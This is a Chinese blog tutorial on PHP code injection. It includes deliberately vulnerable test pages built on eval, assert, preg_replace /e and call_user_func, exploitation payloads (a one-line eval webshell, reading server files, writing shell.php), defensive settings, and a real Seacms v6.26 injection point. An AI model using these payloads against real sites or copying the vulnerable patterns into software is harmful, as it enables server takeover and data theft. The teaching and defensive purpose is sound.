052 php代码注入

一:RCE概念

RCE:远程代码执行
英文全称:remote command/code execute
 
 

二:PHP代码注入原理以及成因

PHP代码执行(注入)(web方向)是指应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行类似于SQL注入漏洞。sqli是将sql语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中,最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个web后门的存在。

成因:
1:程序中含有可以执行的PHP代码的函数或者语言结构
2:传入第一点中的参数,客户端可控,直接修改或者影响。
 
 

三:漏洞的危害

web应用如果存在代码执行漏洞是一件非常可怕的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下。可以通过代码执行漏洞继承web用户权限,执行任意代码。如果服务器没有正确配置,web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。接下来,以PHP为例子来说明,代码执行漏洞。php中有很多函数和语句都会造成PHP代码执行漏洞。
 
 

四:相关的函数和语句

4.1:eval()

eval()会将字符串当作php代码来执行。

<?php
if(isset($_GET['code'])){
	$str=$_GET['code'];
	eval($str);
}else{
echo "please input code!<br />?code=phpinfo();";
}
?>

首先准备好phpstudy环境,这里略过了,可以去看
031 基础环境搭建phpstudy

我们在www目录下,新建一个code_input的文件夹,然后在这个文件夹中新建一个eval.php文件
在这里插入图片描述
在这里插入图片描述
打开浏览器:
在这里插入图片描述
在这里插入图片描述

?code=phpinfo();也可以替换成?code=${phpinfo()};或者?code=1;phpinfo();
 

4.2:assert()

assert()和eval()同样会做为php代码执行。
测试代码如下:

<?php
if(isset($_GET['code'])){
	$str=$_GET['code'];
	assert($str);
}else{
	echo "please input code!<br />?code=phpinfo();";
}
?>

在这里插入图片描述
?code=phpinfo();也可以替换成?code=${phpinfo()};
但是这个不行?code=1;phpinfo();(个人试验了下)
在这里插入图片描述

4.3:preg_replace()

preg_replace()函数的作用是对字符串进行正则处理。

先看下示例:
在这里插入图片描述

参数和返回值如下:mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject[,int limit = -1[,int &$count]])

$replacement的值会被当成php代码来执行。典型的代码如下:

<?php
	if(isset($_GET['code'])){
		$code=$_GET['code'];
		preg_replace("/\[(.*)\]/e",'\\1',$code);		/\[(.*)\]/e:显示的内容就是[]内的内容	\\1:是replacement的特殊用法,代表这个正则第一次匹配的内容
	}else{
		echo "?code=[phpinfo()]";
	}
?>

在这里插入图片描述
在这里插入图片描述
 

4.4:call_user_func()

call_user_func()等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。

以call_user_func()为例子,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,测试代码如下:

<?php
	if(isset($_GET['fun'])){
		$fun=$_GET['fun'];
		$para=$_GET['para'];
		call_user_func($fun,$para);
	}else{
		echo "?fun=assert&amp;para=phpinfo()";
	}
?>
提交参数?fun=assert&para=phpinfo()

在这里插入图片描述
 

4.5:动态函数$a($b)

由于php的特性原因,php的函数支持由直接拼接的方式调用,这就导致了PHP在安全上的控制又加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()的初衷是一样的,用来更加方便的调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

测试代码如下:

<?php
	if(isset($_GET['a'])){
		$a=$_GET['a'];
		$b=$_GET['b'];
		$a($b);
	}else{
		echo "?a=assert&amp;b=phpinfo()";
	}
?>

在这里插入图片描述
 
 

五:漏洞利用

代码执行漏洞的利用方式有很多种,以下简单列出几种。

5.1:直接获取shell

提交参数?code=@eval($_REQUEST[1]);即可构成一句话木马,密码为1。可以使用菜刀(软件名)连接。 REQUEST包括get,post,cookie

连接成功
 

5.2:获取当前文件的绝对路径

__FILE__是PHP预定义常量,其含义当前文件的绝对路径。

提交代码?code=print(__FILE__);
在这里插入图片描述
 

5.3:读文件

我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径和读取权限。

提交代码:
?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));
读取服务器hosts文件。
在这里插入图片描述
 

5.4:写文件

我们可以利用file_put_contents()函数,写入文件。前提是知道可写目录。
提交代码:?code=var_dump(file_put_contents($_POST[1],$_POST[2]));
此时需要借助于hackbar通过post方式提交参数。
1=shell.php&2=<?php phpinfo()?>即可在当前目录下创建一个文件shell.php,并把phpinfo的内容写入到shell.php中。

直接执行报错:
在这里插入图片描述
在勾选hackbar里面的Post data并写入代码1=shell.php&2="sfsfdasfdsfdsfds"
在这里插入图片描述
在这里插入图片描述
 

亦或是写入php代码1=shell.php&2=<?php phpinfo()?>
在这里插入图片描述
 
 

六:防御方法

1、尽量不要使用eval等函数

2、如果使用的话一定要进行严格的过滤

3、preg_replace放弃使用/e修饰符

4、disable_functions = assert 禁用assert,但是disable_functions = eval不起作用,因为严格来说,eval在php中不是函数,而是一种数据结构,比较特殊。
 

方法4的验证:
我们查看PHP版本
在这里插入图片描述
在这里插入图片描述
进入对应的目录下,
在这里插入图片描述
在这里插入图片描述
保存文件,然后重启phpstudy
打开浏览器进入assert.php页面,发现assert函数被禁用。
在这里插入图片描述
 

七:实战:Seacms v6.26 命令执行

漏洞点?searchtype=5&tid=&area=phpinfo()
此处想象空间非常大。比如说:这是一个网站的模板。那么其他网站,是不是~~~~~~~~~~
6.53 6.54 6.55都存在代码注入漏洞

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值